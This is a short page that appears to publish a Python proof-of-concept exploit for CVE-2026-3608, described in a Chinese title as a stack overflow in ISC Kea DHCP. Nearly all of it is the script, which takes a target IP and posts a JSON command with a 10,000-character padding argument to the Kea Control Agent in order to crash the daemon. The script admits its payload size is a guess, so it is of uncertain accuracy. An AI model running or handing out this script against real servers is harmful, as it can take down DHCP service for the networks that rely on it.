CVE-2026-3608 ISC Kea DHCP 堆栈溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-3608 (ISC Kea DHCP Stack Overflow) This script sends a maliciously crafted message to the Kea Control Agent. """ import requests import json import sys def send_exploit(target_ip, target_port=8000): url = f"http://{target_ip}:{target_port}/" # Craft a malicious command with an oversized parameter to trigger stack overflow # Adjust the payload size based on the specific vulnerability analysis malicious_payload = { "command": "list-commands", "arguments": { "padding": "A" * 10000 # Oversized buffer to trigger overflow } } try: headers = {'Content-Type': 'application/json'} response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Response status code: {response.status_code}") print("[!] Check if the Kea daemon has crashed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 send_exploit(target, port)